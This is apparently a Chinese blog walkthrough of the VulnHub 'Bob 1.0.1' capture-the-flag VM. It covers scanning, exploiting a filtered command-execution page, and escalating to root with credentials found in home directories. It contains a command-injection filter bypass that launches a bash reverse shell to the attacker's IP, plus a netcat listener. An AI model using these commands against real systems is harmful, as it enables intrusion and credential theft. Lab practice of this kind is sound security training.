信息收集:
靶机地址:https://www.vulnhub.com/entry/bob-101,226/
(1)ip扫描
nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:C9:15:16'
![](https://img-blog.csdnimg.cn/img_convert/87014ed931ad73d692951dadc321986a.png)
(2)端口扫描
nmap -A 192.168.254.136 -p-
![](https://img-blog.csdnimg.cn/img_convert/802ffba346e4b4545850a23593780147.png)
(3)目录扫描
dirsearch -u http://192.168.254.136
![](https://img-blog.csdnimg.cn/img_convert/0f4d65d469c02a0f5fdbbfbfbbd4fd34.png)
![](https://img-blog.csdnimg.cn/img_convert/c7fe25fa2a2e2364fa62c96fc3d885b5.png)
(4)拼接一下扫描的目录没啥发现,一个robots文件,看看内容
![](https://img-blog.csdnimg.cn/img_convert/4d2eeec50e1936b31bc2ab1bc311b9a1.png)
(5)访问了半天,发现只有/dev_shell.php有用,是一个命令执行的页面
![](https://img-blog.csdnimg.cn/img_convert/bfbde461c4b4fa2a2ecc97bd33229804.png)
(6)dev_shell.php页面发现存在过滤,一些命令无法执行,执行whoami | ls,发现一个备份文件
![](https://img-blog.csdnimg.cn/img_convert/d275d005d16412ebfc2e96e2ec7134e1.png)
(7)通过访问页面直接下载下来,查看文件内容,看到过滤了一些命令
192.168.254.136/dev_shell.php.bak
![](https://img-blog.csdnimg.cn/img_convert/2ecff848f85f2d0908729bc3b5fa8b40.png)
![](https://img-blog.csdnimg.cn/img_convert/b571502d513b3002ffdac35e2b9720a4.png)
getshell:
(1)直接尝试反弹shell
nc -lvnp 4444
![](https://img-blog.csdnimg.cn/img_convert/8435cddc150e7600d3841f3c32f0b0c8.png)
(2)浏览器执行
whoami | pwd&echo "bash -i >& /dev/tcp/192.168.254.129/4444 0>&1" | bash
![](https://img-blog.csdnimg.cn/img_convert/d65b4bfe8bebf0ef7cdf66ba3a707927.png)
(3)反弹成功
![](https://img-blog.csdnimg.cn/img_convert/e61c7bd1c236695757dfc6748b7dfd88.png)
提权:
(1)cd到home目录下,查看,发现有四个用户的家目录,先到bob目录下查看,发现一个可能存在密码的文件.old_passwordfile.html
cd /home
ls
cd bob
ls -al
![](https://img-blog.csdnimg.cn/img_convert/a4ccd1fe41f334227e7e88f46032c88e.png)
![](https://img-blog.csdnimg.cn/img_convert/85d8ee3f44f515db8b470d98cd1c8d22.png)
(2)查看文件,得到 jc 和 seb 的密码
cat
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
![](https://img-blog.csdnimg.cn/img_convert/e086c94bea934ee2f85fd40c865cfb97.png)
(3)在 Documents 下发现一个加密的文件 login.txt.gpg 和一个目录 Secret
![](https://img-blog.csdnimg.cn/img_convert/4c319c1e61cef7da084b71d3deb99287.png)
(4)在 /home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here 下,发现了 notes.sh
![](https://img-blog.csdnimg.cn/img_convert/e995f3c1b6df5386619172fc2283d13f.png)
(5)查看文件内容,没看懂,网上搜了一下,是藏头诗,密钥为 HARPOCRATES
![](https://img-blog.csdnimg.cn/img_convert/6d28f441a0325efbeacfecbe2d014ace.png)
(6)返回DOcuments目录下,解密 login.txt.gpg ,没有权限
gpg -d login.txt.gpg
![](https://img-blog.csdnimg.cn/img_convert/41a0514aa03b094550acbcab65deb614.png)
(7)ssh登录其他用户尝试
ssh jc@192.168.254.136 -p 25468
Qwerty
![](https://img-blog.csdnimg.cn/img_convert/a491b55ada395cec8eb3bc2f654cd22a.png)
(8)再次解密,得到 bob 的密码
cd /home/bob/Documents
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
bob:b0bcat_
![](https://img-blog.csdnimg.cn/img_convert/3acf7a6b222dc4061b96e149270d9a60.png)
(9)再看看 elliot 的家目录,发现一个 theadminisdumb.txt 文件
![](https://img-blog.csdnimg.cn/img_convert/fa98158d606ce0f5acb8ab034e1f9397.png)
![](https://img-blog.csdnimg.cn/img_convert/8c4c4115ef59d6bf65e66416b06f1e01.png)
(10)查看内容,这里提到他把密码改为了 theadminisdumb
elliot:theadminisdumb
![](https://img-blog.csdnimg.cn/img_convert/353fce2e8cf19f4656f89ee1ef3ee693.png)
(11)ssh连接bob用户
ssh bob@192.168.254.136 -p 25468
b0bcat_
![](https://img-blog.csdnimg.cn/img_convert/6788acfd904035fd1109ed866ed7ccbb.png)
(12)查看当前权限,显示为all,所有命令都可以
sudo -l
![](https://img-blog.csdnimg.cn/img_convert/5ec7ab1182b8efb6b4d774a9c8483ad9.png)
(13)直接sudo su 提权成功
![](https://img-blog.csdnimg.cn/img_convert/2360fc6297f84b08d065e02ad8d5e264.png)